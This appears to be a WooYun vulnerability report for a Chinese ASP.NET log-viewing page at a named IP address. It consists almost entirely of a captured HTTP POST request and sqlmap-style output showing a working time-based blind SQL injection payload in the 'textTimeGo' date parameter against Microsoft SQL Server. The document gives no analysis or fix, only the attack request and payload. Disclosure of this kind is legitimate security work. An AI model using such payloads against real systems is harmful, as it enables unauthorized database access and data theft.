WooYun.org

POST /njbt2013/Application/ToViewLog.aspx HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: http://218.77.183.70/njbt2013/Application/ToViewLog.aspx
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Content-Length: 1504
DNT: 1
Host: 218.77.183.70
Pragma: no-cache
Cookie: ASP.NET_SessionId=n0muyo55xc152m550bdkjk2r
__VIEWSTATE=%2FwEPDwUKMTkwMjcxMTQ5MA9kFgICAw9kFgICCQ88KwANAQAPFgYeCFBhZ2VTaXplAjIeC18hRGF0YUJvdW5kZx4LXyFJdGVtQ291bnQCBGQWAmYPZBYMAgEPZBYGZg8PFgIeBFRleHQFF%2BeUs%2Bivt%2BafpeivouWvvOWHukV4Y2VsZGQCAQ8PFgIfAwUSMjAxNS8zLzI1IDEwOjEyOjE3ZGQCAg8PFgIfAwVZ55yB55u06L6W5Y6%2F57qn6KGM5pS%2F5Y2V5L2N5piM5rGf6buO5peP6Ieq5rK75Y6%2F5Yac5py65bGAW%2BaYjOaxn%2Bm7juaXj%2BiHquayu%2BWOv%2BaTjeS9nOWRmF1kZAICD2QWBmYPDxYCHwMFF%2BeUs%2Bivt%2BafpeivouWvvOWHukV4Y2VsZGQCAQ8PFgIfAwURMjAxNS8zLzI1IDg6NDg6MzBkZAICDw8WAh8DBVnnnIHnm7Tovpbljr%2FnuqfooYzmlL%2FljZXkvY3mmIzmsZ%2Fpu47ml4%2Foh6rmsrvljr%2FlhpzmnLrlsYBb5piM5rGf6buO5peP6Ieq5rK75Y6%2F5pON5L2c5ZGYXWRkAgMPZBYGZg8PFgIfAwUX55Sz6K%2B35p%2Bl6K%2Bi5a%2B85Ye6RXhjZWxkZAIBDw8WAh8DBREyMDE1LzMvMTggODo0OTo1M2RkAgIPDxYCHwMFWeecgeebtOi%2BluWOv%2Be6p%2BihjOaUv%2BWNleS9jemZteawtOm7juaXj%2BiHquayu%2BWOv%2BWGnOacuuWxgFvpmbXmsLTpu47ml4%2Foh6rmsrvljr%2Fmk43kvZzlkZhdZGQCBA9kFgZmDw8WAh8DBR3kvIHkuJrplIDllK7mn6Xor6Llr7zlh7pFeGNlbGRkAgEPDxYCHwMFETIwMTUvMy83IDEwOjA2OjExZGQCAg8PFgIfAwU455Sf5Lqn5LyB5LiaW%2BW5v%2Bilv%2BmbhOmjnuacuuaisOWItumAoOaciemZkOi0o%2BS7u%2BWFrOWPuF1kZAIFDw8WAh4HVmlzaWJsZWhkZAIGDw8WAh8EZ2QWAmYPZBYCAgEPFgIfBGgWDgIBDw8WAh4HRW5hYmxlZGhkZAIDDw8WAh8FaGRkAgUPDxYCHwMFATFkZAIHDw8WAh8DBQExZGQCCQ8PFgIfBWhkZAILDw8WAh8FaGRkAg0PDxYCHwMFATFkZBgCBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUIQ2hrVGltZXMFCUdyaWRWaWV3MQ88KwAKAQgCAWRJ6RLhNzYz%2FzCSlb0C6W3GB67k3w%3D%3D&__VIEWSTATEGENERATOR=3D4F95D8&ChkTimes=on&textTimeGo=2015-03-03&textTimeEnd=2015-03-05&btnChaXun=%E6%9F%A5%E8%AF%A2

---
Place: POST
Parameter: textTimeGo
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
    Payload: __VIEWSTATE=/wEPDwUKMTkwMjcxMTQ5MA9kFgICAw9kFgICCQ88KwANAQAPFgYeCFB
hZ2VTaXplAjIeC18hRGF0YUJvdW5kZx4LXyFJdGVtQ291bnQCAWQWAmYPZBYGAgEPZBYGZg8PFgIeBFR
leHQFBiZuYnNwO2RkAgEPDxYCHwMFBiZuYnNwO2RkAgIPDxYCHwMFBiZuYnNwO2RkAgIPDxYCHgdWaXN
pYmxlaGRkAgMPDxYCHwRoZBYCZg9kFgICAQ9kFg4CAQ8PFgIeB0VuYWJsZWRoZGQCAw8PFgIfBWhkZAI
FDw8WAh8DBQExZGQCBw8PFgIfAwUBMWRkAgkPDxYCHwVoZGQCCw8PFgIfBWhkZAINDw8WAh8DBQExZGQ
YAgUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFCENoa1RpbWVzBQlHcmlkVmlldzEPPCs
ACgEIAgFk3kXAY6HsOuz1qVRNaKgzlDlpezI=&__VIEWSTATEGENERATOR=3D4F95D8&ChkTimes=on&
textTimeGo=2015-03-03' AND 6136=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers
AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysu
sers AS sys7) AND 'Erqr'='Erqr&textTimeEnd=2015-03-05&btnChaXun=%E6%9F%A5%E8%AF%
A2
---